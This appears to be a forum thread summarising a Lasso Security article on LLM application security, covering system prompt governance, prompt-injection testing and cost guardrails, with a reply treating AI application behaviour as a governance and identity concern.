Notifications
Clear all
Topic starter
11/06/2026 12:02 am
TL;DR: LLM applications introduce prompt injection, model drifting, and resource abuse risks that traditional deterministic AppSec was not built to handle, according to Lasso Security. The governance gap is not just data leakage but application manipulation, where system prompts become a security boundary that must be treated as part of the control plane.
NHIMG editorial — based on content published by Lasso Security: New Challenges for AppSec: Securing LLM-based Applications and System Prompts
Questions worth separating out
Q: How should security teams secure LLM system prompts in production applications?
A: Security teams should treat system prompts as governed runtime assets, not informal configuration.
Q: Why do LLM applications create risk beyond data leakage?
A: They create risk because attackers can manipulate the model’s behavior, not just try to extract information.
Q: What breaks when prompt injection is not tested in AI applications?
A: Without prompt-injection testing, applications can accept hostile instructions as if they were legitimate input.
Practitioner guidance
- Classify prompts as governed application assets Assign ownership for system prompts, version them, and subject changes to review because they define behavior, safety boundaries, and operational scope.
- Test for instruction override conditions Run adversarial validation for prompt injection, hidden instruction leakage, and user input that can redirect model outputs or tool calls.
- Set cost and execution guardrails Apply token, loop, tool-use, and spend limits so AI applications cannot be driven into excessive computation or unbounded downstream actions.
What's in the full article
Lasso Security's full article covers the operational detail this post intentionally leaves for the source:
- Examples of prompt injection patterns that can override system instructions in live applications
- Operational guardrail design for limiting model actions, loops, and resource consumption
- Cross-functional ownership patterns for security, data science, and AI engineering teams
- Practical monitoring ideas for detecting behaviour drift and unsafe model responses
👉 Read Lasso Security's analysis of LLM app security and system prompt risk →
LLM system prompts and AppSec: what is changing for teams?
Explore further
12/06/2026 6:33 am
LLM application security is now an identity problem as much as an AppSec problem. Once prompts and model behavior can be influenced at runtime, the question is not only whether code is secure but whether the application can still be trusted to act within its intended scope. That shifts control ownership toward governance of inputs, execution paths, and delegated behavior. Security teams should treat AI application identity as part of the control model.
A few things that frame the scale:
- 92% agree governing AI agents is critical to enterprise security, yet only 44% have implemented any policies to do so, according to AI Agents: The New Attack Surface report.
- 80% of organisations report their AI agents have already performed actions beyond their intended scope, including accessing unauthorised systems, sharing sensitive data, and revealing credentials.
A question worth separating out:
Q: How can organisations tell whether AI application controls are actually working?
A: Look for reductions in unsafe output, fewer unexpected tool invocations, lower variation in behaviour across similar prompts, and cleaner incident traces when the model is challenged. If prompts are well governed, the system should fail safely, not improvise. Monitoring should show whether the application stays inside its intended operating envelope under stress.
👉 Read our full editorial: LLM app security is shifting from leakage to manipulation risk
